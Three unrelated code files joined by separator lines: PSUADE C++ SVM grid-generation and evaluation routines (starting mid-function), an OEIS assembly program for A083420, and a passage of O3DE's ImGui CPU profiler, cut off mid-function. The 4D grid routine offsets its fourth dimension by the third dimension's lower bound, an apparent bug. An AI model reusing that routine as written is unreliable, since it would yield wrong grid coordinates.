if (outputLevel_ >= 1) printf("SVM interpolation completed.\n");
(*n) = totPts;
(*Y2) = YY;
delete [] XX;
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0;
}
// ************************************************************************
// Generate 2D results for display
// ------------------------------------------------------------------------
int SVM::gen2DGridData(double *X, double *Y, int ind1, int ind2,
double *settings, int *n, double **X2, double **Y2)
{
#ifdef HAVE_SVM
int ii, jj, kk, totPts, index;
double *HX, *XX, *YY;
// initialization
initialize(X,Y);
// generating regular grid data
totPts = nPtsPerDim_ * nPtsPerDim_;
HX = new double[2];
HX[0] = (upperBounds_[ind1] - lowerBounds_[ind1]) / (nPtsPerDim_ - 1);
HX[1] = (upperBounds_[ind2] - lowerBounds_[ind2]) / (nPtsPerDim_ - 1);
XX = new double[totPts*nInputs_];
(*X2) = new double[2*totPts];
checkAllocate(*X2, "X2 in SVM::gen2DGridData");
for (ii = 0; ii < nPtsPerDim_; ii++)
{
for (jj = 0; jj < nPtsPerDim_; jj++)
{
index = ii * nPtsPerDim_ + jj;
for (kk = 0; kk < nInputs_; kk++)
XX[index*nInputs_+kk] = settings[kk];
XX[index*nInputs_+ind1] = HX[0] * ii + lowerBounds_[ind1];
XX[index*nInputs_+ind2] = HX[1] * jj + lowerBounds_[ind2];
(*X2)[index*2] = HX[0] * ii + lowerBounds_[ind1];
(*X2)[index*2+1] = HX[1] * jj + lowerBounds_[ind2];
}
}
YY = new double[totPts];
checkAllocate(YY, "YY in SVM::gen2DGridData");
if (outputLevel_ >= 1) printf("SVM interpolation begins....\n");
SVMInterp(totPts, nInputs_, XX, YY, NULL);
if (outputLevel_ >= 1) printf("SVM interpolation completed.\n");
(*n) = totPts;
(*Y2) = YY;
delete [] XX;
delete [] HX;
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0;
}
// ************************************************************************
// Generate 3D results for display
// ------------------------------------------------------------------------
int SVM::gen3DGridData(double *X, double *Y, int ind1, int ind2, int ind3,
double *settings, int *n, double **X2, double **Y2)
{
#ifdef HAVE_SVM
int ii, jj, ll, kk, totPts, index;
double *HX, *XX, *YY;
// initialization
initialize(X,Y);
// set up for generating regular grid data
totPts = nPtsPerDim_ * nPtsPerDim_ * nPtsPerDim_;
HX = new double[3];
HX[0] = (upperBounds_[ind1] - lowerBounds_[ind1]) / (nPtsPerDim_ - 1);
HX[1] = (upperBounds_[ind2] - lowerBounds_[ind2]) / (nPtsPerDim_ - 1);
HX[2] = (upperBounds_[ind3] - lowerBounds_[ind3]) / (nPtsPerDim_ - 1);
XX = new double[totPts*nInputs_];
(*X2) = new double[3*totPts];
checkAllocate(*X2, "X2 in SVM::gen3DGridData");
for (ii = 0; ii < nPtsPerDim_; ii++)
{
for (jj = 0; jj < nPtsPerDim_; jj++)
{
for (ll = 0; ll < nPtsPerDim_; ll++)
{
index = ii * nPtsPerDim_ * nPtsPerDim_ + jj * nPtsPerDim_ + ll;
for (kk = 0; kk < nInputs_; kk++)
XX[index*nInputs_+kk] = settings[kk];
XX[index*nInputs_+ind1] = HX[0] * ii + lowerBounds_[ind1];
XX[index*nInputs_+ind2] = HX[1] * jj + lowerBounds_[ind2];
XX[index*nInputs_+ind3] = HX[2] * ll + lowerBounds_[ind3];
(*X2)[index*3] = HX[0] * ii + lowerBounds_[ind1];
(*X2)[index*3+1] = HX[1] * jj + lowerBounds_[ind2];
(*X2)[index*3+2] = HX[2] * ll + lowerBounds_[ind3];
}
}
}
YY = new double[totPts];
checkAllocate(YY, "YY in SVM::gen3DGridData");
if (outputLevel_ >= 1) printf("SVM interpolation begins....\n");
SVMInterp(totPts, nInputs_, XX, YY, NULL);
if (outputLevel_ >= 1) printf("SVM interpolation completed.\n");
(*n) = totPts;
(*Y2) = YY;
delete [] XX;
delete [] HX;
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0;
}
// ************************************************************************
// Generate 4D results for display
// ------------------------------------------------------------------------
int SVM::gen4DGridData(double *X, double *Y, int ind1, int ind2, int ind3,
int ind4, double *settings, int *n, double **X2,
double **Y2)
{
#ifdef HAVE_SVM
int ii, jj, ll, mm, kk, totPts, index;
double *HX, *XX, *YY;
// initialization
initialize(X,Y);
// generating regular grid data
totPts = nPtsPerDim_ * nPtsPerDim_ * nPtsPerDim_ * nPtsPerDim_;
HX = new double[4];
HX[0] = (upperBounds_[ind1] - lowerBounds_[ind1]) / (nPtsPerDim_ - 1);
HX[1] = (upperBounds_[ind2] - lowerBounds_[ind2]) / (nPtsPerDim_ - 1);
HX[2] = (upperBounds_[ind3] - lowerBounds_[ind3]) / (nPtsPerDim_ - 1);
HX[3] = (upperBounds_[ind4] - lowerBounds_[ind4]) / (nPtsPerDim_ - 1);
XX = new double[totPts*nInputs_];
(*X2) = new double[4*totPts];
checkAllocate(*X2, "X2 in SVM::gen4DGridData");
for (ii = 0; ii < nPtsPerDim_; ii++)
{
for (jj = 0; jj < nPtsPerDim_; jj++)
{
for (ll = 0; ll < nPtsPerDim_; ll++)
{
for (mm = 0; mm < nPtsPerDim_; mm++)
{
index = ii*nPtsPerDim_*nPtsPerDim_*nPtsPerDim_ +
jj*nPtsPerDim_*nPtsPerDim_ + ll*nPtsPerDim_ + mm;
for (kk = 0; kk < nInputs_; kk++)
XX[index*nInputs_+kk] = settings[kk];
XX[index*nInputs_+ind1] = HX[0] * ii + lowerBounds_[ind1];
XX[index*nInputs_+ind2] = HX[1] * jj + lowerBounds_[ind2];
XX[index*nInputs_+ind3] = HX[2] * ll + lowerBounds_[ind3];
XX[index*nInputs_+ind4] = HX[3] * mm + lowerBounds_[ind3];
(*X2)[index*4] = HX[0] * ii + lowerBounds_[ind1];
(*X2)[index*4+1] = HX[1] * jj + lowerBounds_[ind2];
(*X2)[index*4+2] = HX[2] * ll + lowerBounds_[ind3];
(*X2)[index*4+3] = HX[3] * mm + lowerBounds_[ind3];
}
}
}
}
YY = new double[totPts];
checkAllocate(YY, "YY in SVM::gen4DGridData");
if (outputLevel_ >= 1) printf("SVM interpolation begins....\n");
SVMInterp(totPts, nInputs_, XX, YY, NULL);
if (outputLevel_ >= 1) printf("SVM interpolation completed.\n");
(*n) = totPts;
(*Y2) = YY;
delete [] XX;
delete [] HX;
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0;
}
// ************************************************************************
// Evaluate a given point
// ------------------------------------------------------------------------
double SVM::evaluatePoint(double *X)
{
double Y=0.0;
#ifdef HAVE_SVM
int iOne=1;
SVMInterp(iOne, nInputs_, X, &Y, NULL);
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return Y;
}
// ************************************************************************
// Evaluate a number of points
// ------------------------------------------------------------------------
double SVM::evaluatePoint(int npts, double *X, double *Y)
{
#ifdef HAVE_SVM
SVMInterp(npts, nInputs_, X, Y, NULL);
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0.0;
}
// ************************************************************************
// Evaluate a given point return also the standard deviation
// ------------------------------------------------------------------------
double SVM::evaluatePointFuzzy(double *X, double &std)
{
double Y=0.0;
#ifdef HAVE_SVM
SVMInterp(1, nInputs_, X, &Y, &std);
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return Y;
}
// ************************************************************************
// Evaluate a number of points and return also the standard deviation
// ------------------------------------------------------------------------
double SVM::evaluatePointFuzzy(int npts,double *X,double *Y,double *Ystd)
{
#ifdef HAVE_SVM
SVMInterp(npts, nInputs_, X, Y, Ystd);
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
return 0.0;
}
// ************************************************************************
// set parameters
// ------------------------------------------------------------------------
double SVM::setParams(int targc, char **targv)
{
if (targc > 0) gamma_ = *(double *) targv[0];
if (targc > 1) tolerance_ = *(double *) targv[1];
if (targc > 2) kernel_ = *(int *) targv[2];
return 0.0;
}
|
; A083420: a(n) = 2*4^n - 1.
; 1,7,31,127,511,2047,8191,32767,131071,524287,2097151,8388607,33554431,134217727,536870911,2147483647,8589934591,34359738367,137438953471,549755813887,2199023255551,8796093022207,35184372088831,140737488355327,562949953421311,2251799813685247,9007199254740991,36028797018963967,144115188075855871,576460752303423487,2305843009213693951,9223372036854775807,36893488147419103231,147573952589676412927,590295810358705651711,2361183241434822606847,9444732965739290427391,37778931862957161709567,151115727451828646838271,604462909807314587353087,2417851639229258349412351,9671406556917033397649407,38685626227668133590597631,154742504910672534362390527,618970019642690137449562111,2475880078570760549798248447,9903520314283042199192993791,39614081257132168796771975167,158456325028528675187087900671,633825300114114700748351602687,2535301200456458802993406410751,10141204801825835211973625643007,40564819207303340847894502572031,162259276829213363391578010288127,649037107316853453566312041152511,2596148429267413814265248164610047,10384593717069655257060992658440191,41538374868278621028243970633760767,166153499473114484112975882535043071,664613997892457936451903530140172287
mov $1,4
pow $1,$0
mul $1,2
sub $1,1
mov $0,$1
|
/*
* Copyright (c) Contributors to the Open 3D Engine Project.
* For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#include <Atom/Feature/Utils/ProfilingCaptureBus.h>
#include <Atom/RHI.Reflect/CpuTimingStatistics.h>
#include <Atom/RHI/CpuProfiler.h>
#include <Atom/RPI.Public/RPISystemInterface.h>
#include <AzCore/IO/Path/Path_fwd.h>
#include <AzCore/std/containers/map.h>
#include <AzCore/std/containers/set.h>
#include <AzCore/std/limits.h>
#include <AzCore/std/sort.h>
#include <AzCore/std/time.h>
namespace AZ
{
namespace Render
{
namespace CpuProfilerImGuiHelper
{
// NOTE: Fix build error in case AZStd::thread_id is not of an arithmetic type, and instead a pointer
template<typename ThreadId, typename AZStd::enable_if<AZStd::is_pointer<ThreadId>::value>::type* = nullptr>
AZStd::string TextThreadId(ThreadId threadId)
{
return AZStd::string::format("Thread: %p", threadId);
}
template<typename ThreadId, typename AZStd::enable_if<!AZStd::is_pointer<ThreadId>::value>::type* = nullptr>
AZStd::string TextThreadId(ThreadId threadId)
{
return AZStd::string::format("Thread: %zu", static_cast<size_t>(threadId));
}
inline float TicksToMs(AZStd::sys_time_t ticks)
{
// Note: converting to microseconds integer before converting to milliseconds float
const AZStd::sys_time_t ticksPerSecond = AZStd::GetTimeTicksPerSecond();
AZ_Assert(ticksPerSecond >= 1000, "Error in converting ticks to ms, expected ticksPerSecond >= 1000");
return static_cast<float>((ticks * 1000) / (ticksPerSecond / 1000)) / 1000.0f;
}
} // namespace CpuProfilerImGuiHelper
inline void ImGuiCpuProfiler::Draw(bool& keepDrawing, const AZ::RHI::CpuTimingStatistics& currentCpuTimingStatistics)
{
// Cache the value to detect if it was changed by ImGui(user pressed 'x')
const bool cachedShowCpuProfiler = keepDrawing;
const ImVec2 windowSize(900.0f, 600.0f);
ImGui::SetNextWindowSize(windowSize, ImGuiCond_Once);
if (ImGui::Begin("CPU Profiler", &keepDrawing, ImGuiWindowFlags_None))
{
// Collect the last frame's profiling data
if (!m_paused)
{
// Update region map and cache the input cpu timing statistics when the profiling is not paused
m_cpuTimingStatisticsWhenPause = currentCpuTimingStatistics;
CollectFrameData();
CullFrameData(currentCpuTimingStatistics);
// Only listen to system ticks when the profiler is active
if (!SystemTickBus::Handler::BusIsConnected())
{
SystemTickBus::Handler::BusConnect();
}
}
if (m_enableVisualizer)
{
DrawVisualizer();
}
else
{
DrawStatisticsView();
}
}
ImGui::End();
if (m_captureToFile)
{
AZStd::sys_time_t timeNow = AZStd::GetTimeNowSecond();
AZStd::string timeString;
AZStd::to_string(timeString, timeNow);
u64 currentTick = AZ::RPI::RPISystemInterface::Get()->GetCurrentTick();
const AZStd::string frameDataFilePath = AZStd::string::format(
"@user@/CpuProfiler/%s_%llu.json",
timeString.c_str(),
currentTick);
char resolvedPath[AZ::IO::MaxPathLength];
AZ::IO::FileIOBase::GetInstance()->ResolvePath(frameDataFilePath.c_str(), resolvedPath, AZ::IO::MaxPathLength);
m_lastCapturedFilePath = resolvedPath;
AZ::Render::ProfilingCaptureRequestBus::Broadcast(
&AZ::Render::ProfilingCaptureRequestBus::Events::CaptureCpuProfilingStatistics, frameDataFilePath);
}
m_captureToFile = false;
// Toggle if the bool isn't the same as the cached value
if (cachedShowCpuProfiler != keepDrawing)
{
AZ::RHI::CpuProfiler::Get()->SetProfilerEnabled(keepDrawing);
}
}
inline void ImGuiCpuProfiler::DrawCommonHeader()
{
if (ImGui::Button(m_enableVisualizer ? "Swap to statistics" : "Swap to visualizer"))
{
m_enableVisualizer = !m_enableVisualizer;
}
ImGui::SameLine();
m_paused = !AZ::RHI::CpuProfiler::Get()->IsProfilerEnabled();
if (ImGui::Button(m_paused ? "Resume" : "Pause"))
{
m_paused = !m_paused;
AZ::RHI::CpuProfiler::Get()->SetProfilerEnabled(!m_paused);
}
ImGui::SameLine();
if (ImGui::Button("Capture"))
{
m_captureToFile = true;
}
if (!m_lastCapturedFilePath.empty())
{
ImGui::SameLine();
ImGui::Text("Saved: %s", m_lastCapturedFilePath.c_str());
}
}
inline void ImGuiCpuProfiler::DrawTable()
{
const auto flags =
ImGuiTableFlags_Borders | ImGuiTableFlags_Sortable | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable;
if (ImGui::BeginTable("FunctionStatisticsTable", 6, flags))
{
// Table header setup
ImGui::TableSetupColumn("Group");
ImGui::TableSetupColumn("Region");
ImGui::TableSetupColumn("MTPC (ms)");
ImGui::TableSetupColumn("Max (ms)");
ImGui::TableSetupColumn("Invocations");
ImGui::TableSetupColumn("Total (ms)");
ImGui::TableHeadersRow();
ImGui::TableNextColumn();
ImGuiTableSortSpecs* sortSpecs = ImGui::TableGetSortSpecs();
if (sortSpecs && sortSpecs->SpecsDirty)
{
SortTable(sortSpecs);
}
// Draw all of the rows held in the GroupRegionMap
for (const auto* statistics : m_tableData)
{
if (!m_timedRegionFilter.PassFilter(statistics->m_groupName.c_str())
&& !m_timedRegionFilter.PassFilter(statistics->m_regionName.c_str()))
{
continue;
}
ImGui::Text(statistics->m_groupName.c_str());
const ImVec2 topLeftBound = ImGui::GetItemRectMin();
ImGui::TableNextColumn();
ImGui::Text(statistics->m_regionName.c_str());
ImGui::TableNextColumn();
ImGui::Text("%.2f", CpuProfilerImGuiHelper::TicksToMs(statistics->m_runningAverageTicks));
ImGui::TableNextColumn();
ImGui::Text("%.2f", CpuProfilerImGuiHelper::TicksToMs(statistics->m_maxTicks));
ImGui::TableNextColumn();
ImGui::Text("%llu", statistics->m_invocationsLastFrame);
ImGui::TableNextColumn();
ImGui::Text("%.2f", CpuProfilerImGuiHelper::TicksToMs(statistics->m_lastFrameTotalTicks));
const ImVec2 botRightBound = ImGui::GetItemRectMax();
ImGui::TableNextColumn();
// NOTE: we are manually checking the bounds rather than using ImGui::IsItemHovered + Begin/EndGroup because
// ImGui reports incorrect bounds when using Begin/End group in the Tables API.
if (ImGui::IsWindowHovered() && ImGui::IsMouseHoveringRect(topLeftBound, botRightBound, false))
{
ImGui::BeginTooltip();
ImGui::Text(statistics->GetExecutingThreadsLabel().c_str());
ImGui::EndTooltip();
}
}
}
ImGui::EndTable();
}
inline void ImGuiCpuProfiler::SortTable(ImGuiTableSortSpecs* sortSpecs)
{
const bool ascending = sortSpecs->Specs->SortDirection == ImGuiSortDirection_Ascending;
const ImS16 columnToSort = sortSpecs->Specs->ColumnIndex;
switch (columnToSort)
{
case (0): // Sort by group name
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_groupName, ascending));
break;
case (1): // Sort by region name
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_regionName, ascending));
break;
case (2): // Sort by average time
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_runningAverageTicks, ascending));
break;
case (3): // Sort by max time
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_maxTicks, ascending));
break;
case (4): // Sort by invocations
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_invocationsLastFrame, ascending));
break;
case (5): // Sort by total time
AZStd::sort(m_tableData.begin(), m_tableData.end(), TableRow::TableRowCompareFunctor(&TableRow::m_lastFrameTotalTicks, ascending));
break;
}
sortSpecs->SpecsDirty = false;
}
inline void ImGuiCpuProfiler::DrawStatisticsView()
{
DrawCommonHeader();
const AZ::RHI::CpuTimingStatistics& cpuTimingStatistics = m_cpuTimingStatisticsWhenPause;
const AZStd::sys_time_t ticksPerSecond = AZStd::GetTimeTicksPerSecond();
const auto ShowTimeInMs = [ticksPerSecond](AZStd::sys_time_t duration)
{
ImGui::Text("%.2f ms", CpuProfilerImGuiHelper::TicksToMs(duration));
};
const auto ShowRow = [ticksPerSecond, &ShowTimeInMs](const char* regionLabel, AZStd::sys_time_t duration)
{
ImGui::Text(regionLabel);
ImGui::NextColumn();
ShowTimeInMs(duration);
ImGui::NextColumn();
};
if (ImGui::BeginChild("Statistics View", { 0, 0 }, true))
{
// Set column settings.
ImGui::Columns(2, "view", false);
ImGui::SetColumnWidth(0, 660.0f);
ImGui::SetColumnWidth(1, 100.0f);
ShowRow("Frame to Frame Time", cpuTimingStatistics.m_frameToFrameTime);
ShowRow("Present Time", cpuTimingStatistics.m_presentDuration);
for (const auto& queueStatistics : cpuTimingStatistics.m_queueStatistics)
{
ShowRow(queueStatistics.m_queueName.GetCStr(), queueStatistics.m_executeDuration);
}
ImGui::Separator();
ImGui::Columns(1, "view", false);
m_timedRegionFilter.Draw("Filter");
ImGui::SameLine();
if (ImGui::Button("Clear Filter"))
{
m_timedRegionFilter.Clear();
}
ImGui::SameLine();
if (ImGui::Button("Reset Table"))
{
m_tableData.clear();
m_groupRegionMap.clear();
}
DrawTable();
}
}
// -- CPU Visualizer --
inline void ImGuiCpuProfiler::DrawVisualizer()
{
DrawCommonHeader();
// Options & Statistics
if (ImGui::BeginChild("Options and Statistics", { 0, 0 }, true))
{
ImGui::Columns(3, "Options", true);
ImGui::SliderInt("Saved Frames", &m_framesToCollect, 10, 10000, "%d", ImGuiSliderFlags_AlwaysClamp | ImGuiSliderFlags_Logarithmic);
m_visualizerHighlightFilter.Draw("Find Region");
ImGui::NextColumn();
ImGui::Text("Viewport width: %.3f ms", CpuProfilerImGuiHelper::TicksToMs(GetViewportTickWidth()));
ImGui::Text("Ticks [%lld , %lld]", m_viewportStartTick, m_viewportEndTick);
ImGui::Text("Recording %ld threads", RHI::CpuProfiler::Get()->GetTimeRegionMap().size());
ImGui::Text("%llu profiling events saved", m_savedRegionCount);
ImGui::NextColumn();
ImGui::TextWrapped(
"Hold the right mouse button to move around. Zoom by scrolling the mouse wheel while holding <ctrl>.");
}
ImGui::Columns(1, "FrameTimeColumn", true);
if (ImGui::BeginChild("FrameTimeHistogram", { 0, 50 }, true, ImGuiWindowFlags_NoScrollbar))
{
DrawFrameTimeHistogram();
}
ImGui::EndChild();
ImGui::Columns(1, "RulerColumn", true);
// Ruler
if (ImGui::BeginChild("Ruler", { 0, 30 }, true, ImGuiWindowFlags_NoNavFocus))
{
DrawRuler();
}
ImGui::EndChild();
ImGui::Columns(1, "TimelineColumn", true);
// Timeline
if (ImGui::BeginChild(
"Timeline", { 0, 0 }, true, ImGuiWindowFlags_AlwaysVerticalScrollbar | ImGuiWindowFlags_NoScrollWithMouse))
{
// Find the next frame boundary after the viewport's right bound and draw until that tick
auto nextFrameBoundaryItr = AZStd::lower_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), m_viewportEndTick);
if (nextFrameBoundaryItr == m_frameEndTicks.end() && m_frameEndTicks.size() != 0)
{
--nextFrameBoundaryItr;
}
const AZStd::sys_time_t nextFrameBoundary = *nextFrameBoundaryItr;
// Find the start tick of the leftmost frame, which may be offscreen.
auto startTickItr = AZStd::lower_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), m_viewportStartTick);
if (startTickItr != m_frameEndTicks.begin())
{
--startTickItr;
}
// Main draw loop
u64 baseRow = 0;
for (const auto& [currentThreadId, singleThreadData] : m_savedData)
{
// Find the first TimeRegion that we should draw
auto regionItr = AZStd::lower_bound(
singleThreadData.begin(), singleThreadData.end(), *startTickItr,
[](const TimeRegion& wrapper, AZStd::sys_time_t target)
{
return wrapper.m_startTick < target;
});
// Draw all of the blocks for a given thread/row
u64 maxDepth = 0;
while (regionItr != singleThreadData.end())
{
const TimeRegion& region = *regionItr;
// Early out if we have drawn all the onscreen regions
if (region.m_startTick > nextFrameBoundary)
{
break;
}
u64 targetRow = region.m_stackDepth + baseRow;
maxDepth = AZStd::max(aznumeric_cast<u64>(region.m_stackDepth), maxDepth);
DrawBlock(region, targetRow);
++regionItr;
}
// Draw UI details
DrawThreadLabel(baseRow, currentThreadId);
DrawThreadSeparator(baseRow, maxDepth);
baseRow += maxDepth + 1; // Next draw loop should start one row down
}
DrawFrameBoundaries();
// Draw an invisible button to capture inputs
ImGui::InvisibleButton("Timeline Input", { ImGui::GetWindowContentRegionWidth(), baseRow * RowHeight });
// Controls
ImGuiIO& io = ImGui::GetIO();
if (ImGui::IsWindowFocused() && ImGui::IsItemHovered())
{
io.WantCaptureMouse = true;
if (ImGui::IsMouseDragging(ImGuiMouseButton_Right)) // Scrolling
{
const auto [deltaX, deltaY] = io.MouseDelta;
if (deltaX != 0 || deltaY != 0)
{
// We want to maintain uniformity in scrolling (a click and drag should leave the cursor at the same spot
// relative to the objects on screen)
const float pixelDeltaNormalized = deltaX / ImGui::GetWindowWidth();
auto tickDelta = aznumeric_cast<AZStd::sys_time_t>(-1 * pixelDeltaNormalized * GetViewportTickWidth());
m_viewportStartTick += tickDelta;
m_viewportEndTick += tickDelta;
ImGui::SetScrollY(ImGui::GetScrollY() + deltaY * -1);
}
}
else if (io.MouseWheel != 0 && io.KeyCtrl) // Zooming
{
// We want zooming to be relative to the mouse's current position
const float mouseVel = io.MouseWheel;
const float mouseX = ImGui::GetMousePos().x;
// Find the normalized position of the cursor relative to the window
const float percentWindow = (mouseX - ImGui::GetWindowPos().x) / ImGui::GetWindowWidth();
const auto overallTickDelta = aznumeric_cast<AZStd::sys_time_t>(0.05 * io.MouseWheel * GetViewportTickWidth());
// Split the overall delta between the two bounds depending on mouse pos
const auto newStartTick = m_viewportStartTick + aznumeric_cast<AZStd::sys_time_t>(percentWindow * overallTickDelta);
const auto newEndTick = m_viewportEndTick - aznumeric_cast<AZStd::sys_time_t>((1-percentWindow) * overallTickDelta);
// Avoid zooming too much, start tick should always be less than end tick
if (newStartTick < newEndTick)
{
m_viewportStartTick = newStartTick;
m_viewportEndTick = newEndTick;
}
}
}
}
ImGui::EndChild();
}
inline void ImGuiCpuProfiler::CollectFrameData()
{
// We maintain separate datastores for the visualizer and the statistical view because they require different
// data formats - one grouped by thread ID versus the other organized by group + region. Since the statistical
// view is only holding data from the last frame, the memory overhead is minimal and gives us a faster redraw
// compared to if we needed to transform the visualizer's data into the statistical format every frame.
// Get the latest TimeRegionMap
const RHI::CpuProfiler::TimeRegionMap& timeRegionMap = RHI::CpuProfiler::Get()->GetTimeRegionMap();
m_viewportStartTick = AZStd::numeric_limits<s64>::max();
m_viewportEndTick = AZStd::numeric_limits<s64>::lowest();
// Iterate through the entire TimeRegionMap and copy the data since it will get deleted on the next frame
for (const auto& [threadId, singleThreadRegionMap] : timeRegionMap)
{
// The profiler can sometime return threads without any profiling events when dropping threads, FIXME(ATOM-15949)
if (singleThreadRegionMap.size() == 0)
{
continue;
}
// Now focus on just the data for the current thread
AZStd::vector<TimeRegion> newVisualizerData;
newVisualizerData.reserve(singleThreadRegionMap.size()); // Avoids reallocation in the normal case when each region only has one invocation
for (const auto& [regionName, regionVec] : singleThreadRegionMap)
{
for (const TimeRegion& region : regionVec)
{
newVisualizerData.push_back(region); // Copies
// Also update the statistical view's data
const AZStd::string& groupName = region.m_groupRegionName->m_groupName;
if (!m_groupRegionMap[groupName].contains(regionName))
{
m_groupRegionMap[groupName][regionName].m_groupName = groupName;
m_groupRegionMap[groupName][regionName].m_regionName = regionName;
m_tableData.push_back(&m_groupRegionMap[groupName][regionName]);
}
m_groupRegionMap[groupName][regionName].RecordRegion(region, threadId);
}
}
// Sorting by start tick allows us to speed up some other processes (ex. finding the first block to draw)
// since we can binary search by start tick.
AZStd::sort(
newVisualizerData.begin(), newVisualizerData.end(),
[](const TimeRegion& lhs, const TimeRegion& rhs)
{
return lhs.m_startTick < rhs.m_startTick;
});
// Use the latest frame's data as the new bounds of the viewport
m_viewportStartTick = AZStd::min(newVisualizerData.front().m_startTick, m_viewportStartTick);
m_viewportEndTick = AZStd::max(newVisualizerData.back().m_endTick, m_viewportEndTick);
m_savedRegionCount += newVisualizerData.size();
// Move onto the end of the current thread's saved data, sorted order maintained
AZStd::vector<TimeRegion>& savedDataVec = m_savedData[threadId];
savedDataVec.insert(
savedDataVec.end(), AZStd::make_move_iterator(newVisualizerData.begin()), AZStd::make_move_iterator(newVisualizerData.end()));
}
}
inline void ImGuiCpuProfiler::CullFrameData(const AZ::RHI::CpuTimingStatistics& currentCpuTimingStatistics)
{
const AZStd::sys_time_t frameToFrameTime = currentCpuTimingStatistics.m_frameToFrameTime;
const AZStd::sys_time_t deleteBeforeTick = AZStd::GetTimeNowTicks() - frameToFrameTime * m_framesToCollect;
// Remove old frame boundary data
auto firstBoundaryToKeepItr = AZStd::upper_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), deleteBeforeTick);
m_frameEndTicks.erase(m_frameEndTicks.begin(), firstBoundaryToKeepItr);
// Remove old region data for each thread
for (auto& [threadId, savedRegions] : m_savedData)
{
AZStd::size_t sizeBeforeRemove = savedRegions.size();
auto firstRegionToKeep = AZStd::lower_bound(
savedRegions.begin(), savedRegions.end(), deleteBeforeTick,
[](const TimeRegion& region, AZStd::sys_time_t target)
{
return region.m_startTick < target;
});
savedRegions.erase(savedRegions.begin(), firstRegionToKeep);
m_savedRegionCount -= sizeBeforeRemove - savedRegions.size();
}
}
inline void ImGuiCpuProfiler::DrawBlock(const TimeRegion& block, u64 targetRow)
{
// Don't draw anything if the user is searching for regions and this block doesn't pass the filter
if (!m_visualizerHighlightFilter.PassFilter(block.m_groupRegionName->m_regionName))
{
return;
}
float wy = ImGui::GetWindowPos().y - ImGui::GetScrollY();
ImDrawList* drawList = ImGui::GetWindowDrawList();
const float startPixel = ConvertTickToPixelSpace(block.m_startTick, m_viewportStartTick, m_viewportEndTick);
const float endPixel = ConvertTickToPixelSpace(block.m_endTick, m_viewportStartTick, m_viewportEndTick);
const ImVec2 startPoint = { startPixel, wy + targetRow * RowHeight };
const ImVec2 endPoint = { endPixel, wy + targetRow * RowHeight + 40 };
const ImU32 blockColor = GetBlockColor(block);
drawList->AddRectFilled(startPoint, endPoint, blockColor, 0);
// Draw the region name if possible
// If the block's current width is too small, we skip drawing the label.
const float regionPixelWidth = endPixel - startPixel;
const float maxCharWidth = ImGui::CalcTextSize("M").x; // M is usually the largest character in most fonts (see CSS em)
if (regionPixelWidth > maxCharWidth) // We can draw at least one character
{
const AZStd::string label =
AZStd::string::format("%s/ %s", block.m_groupRegionName->m_groupName, block.m_groupRegionName->m_regionName);
const float textWidth = ImGui::CalcTextSize(label.c_str()).x;
if (regionPixelWidth < textWidth) // Not enough space in the block to draw the whole name, draw clipped text.
{
// clipRect appears to only clip when a character is fully outside of its bounds which can lead to overflow
// for now subtract the width of a character
const ImVec4 clipRect = { startPoint.x, startPoint.y, endPoint.x - maxCharWidth, endPoint.y };
const float fontSize = ImGui::GetFont()->FontSize;
ImGui::GetFont()->RenderText(drawList, fontSize, startPoint, IM_COL32_WHITE, clipRect, label.c_str(), 0);
}
else // We have enough space to draw the entire label, draw and center text.
{
const float remainingWidth = regionPixelWidth - textWidth;
const float offset = remainingWidth * .5;
drawList->AddText({ startPoint.x + offset, startPoint.y }, IM_COL32_WHITE, label.c_str());
}
}
// Tooltip and block highlighting
if (ImGui::IsMouseHoveringRect(startPoint, endPoint) && ImGui::IsWindowHovered())
{
// Go to the statistics view when a region is clicked
if (ImGui::IsMouseClicked(ImGuiMouseButton_Left))
{
m_enableVisualizer = false;
const auto newFilter = AZStd::string(block.m_groupRegionName->m_regionName);
m_timedRegionFilter = ImGuiTextFilter(newFilter.c_str());
m_timedRegionFilter.Build();
}
// Hovering outline
drawList->AddRect(startPoint, endPoint, ImGui::GetColorU32({ 1, 1, 1, 1 }), 0.0, 0, 1.5);
ImGui::BeginTooltip();
ImGui::Text("%s::%s", block.m_groupRegionName->m_groupName, block.m_groupRegionName->m_regionName);
ImGui::Text("Execution time: %.3f ms", CpuProfilerImGuiHelper::TicksToMs(block.m_endTick - block.m_startTick));
ImGui::Text("Ticks %lld => %lld", block.m_startTick, block.m_endTick);
ImGui::EndTooltip();
}
}
inline ImU32 ImGuiCpuProfiler::GetBlockColor(const TimeRegion& block)
{
// Use the GroupRegionName pointer a key into the cache, equal regions will have equal pointers
const GroupRegionName* key = block.m_groupRegionName;
if (m_regionColorMap.contains(key)) // Cache hit
{
return ImGui::GetColorU32(m_regionColorMap[key]);
}
// Cache miss, generate a new random color
AZ::SimpleLcgRandom rand(aznumeric_cast<u64>(AZStd::GetTimeNowTicks()));
const float r = AZStd::clamp(rand.GetRandomFloat(), .1f, .9f);
const float g = AZStd::clamp(rand.GetRandomFloat(), .1f, .9f);
const float b = AZStd::clamp(rand.GetRandomFloat(), .1f, .9f);
const ImVec4 randomColor = {r, g, b, .8};
m_regionColorMap.emplace(key, randomColor);
return ImGui::GetColorU32(randomColor);
}
inline void ImGuiCpuProfiler::DrawThreadSeparator(u64 baseRow, u64 maxDepth)
{
const ImU32 red = ImGui::GetColorU32({ 1, 0, 0, 1 });
